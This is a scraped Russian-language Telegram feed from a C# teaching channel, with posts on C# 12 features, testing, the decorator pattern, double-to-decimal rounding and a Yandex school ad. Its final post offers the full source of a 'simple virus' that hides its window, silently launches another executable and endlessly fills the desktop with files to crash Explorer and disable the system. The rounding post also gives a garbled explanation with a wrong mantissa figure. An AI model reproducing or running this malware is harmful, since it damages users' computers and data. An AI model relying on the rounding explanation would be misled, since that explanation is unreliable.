C# (C Sharp) programming
18.7K subscribers
755 photos
38 videos
8 files
673 links
По всем вопросам- @haarrp

C# - обучающий канал Senior C# разработчика.

@ai_machinelearning_big_data - Machine learning

@itchannels_telegram - 🔥лучшие ит-каналы

@csharp_ci - C# академия

@pythonlbooks- книги📚

Реестр РКН: https://clck.ru/3Fk3kb
Download Telegram
«А что там собственно нового в C# 12?»

Интересное видео, в котором Евгений Федотов рассказывает о нововведениях в C# 12

О чём вообще речь?
Упрощение определения типов, использование точки с запятой вместо фигурных скобок.

Collection-оператор, объединение массивов в одну коллекцию.

Атрибут эксперимента, для указания на экспериментальный код.

Атрибут для перехвата методов.

Использование перехватчиков для логирования и других целей.

Возможность указывать функциональные значения для лямда-выражений.

Возможность выдавать псевдоним любому типу или кортежу.

и ещё освещается много всего, так что будет полезно

📎 Кликабельный план видео
📎 Видео

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Разбор разных практик тестирования в C#

Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
Что именно рассматривается в видео?

Тестирование и качество связаны с исследованием и испытанием программного продукта.

Автоматизация тестирования имеет преимущества, но может быть сложной в разработке и поддержке.

Определение количества и процента охвата теста рекомендуется на уровне 80%.

Графики тестирования и качество продукта обсуждаются, и автоматизированное тестирование может быть более эффективным в долгосрочной перспективе.

📎 Кликабельный план видео
📎 YouTube

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Декоратор — описание паттерна с примером на C#

Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки.
Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных.

А вот некоторые мысли из статьи:

Декоратор может решать, к примеру, такую проблему: пользователи хотят получать оповещения о критических проблемах через разные каналы

То, что делает декоратор, в некоторых случаях можно получить через наследование
Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно

Альтернатива наследованию - агрегация или композиция, которые позволяют одному объекту делегировать работу другому

Декораторы имеют общий интерфейс, что позволяет клиенту работать с обёрнутыми объектами без изменения кода

📎 Статья
📎 Пример на C#

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🖥 Округление при преобразовании double в decimal

При достаточно больших значениях double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.
double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649

Почему так происходит? Можно ли как то преобразовать без округления?


Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм.
41-45 округляется к 40, 46-49 округляется к 50.

Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется.
Преобразовать без округления можно только так:
decimal result2 = (long)d;


@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM
В этом году ШАД Яндекса увеличивает набор студентов на треть

Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77%  устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие.
Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь.

@csharp_ci
🖥 Пишем невероятно простой вирус на C#

Всё в этом посте описано исключительно в образовательных целях

Любой программист должен написать свой маленький вирус.
В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500 explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера).
Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола.

Итак вот и код:
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]

// Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{

// Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;

// Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}


📎 Подробнее

@csharp_ci
Please open Telegram to view this post
VIEW IN TELEGRAM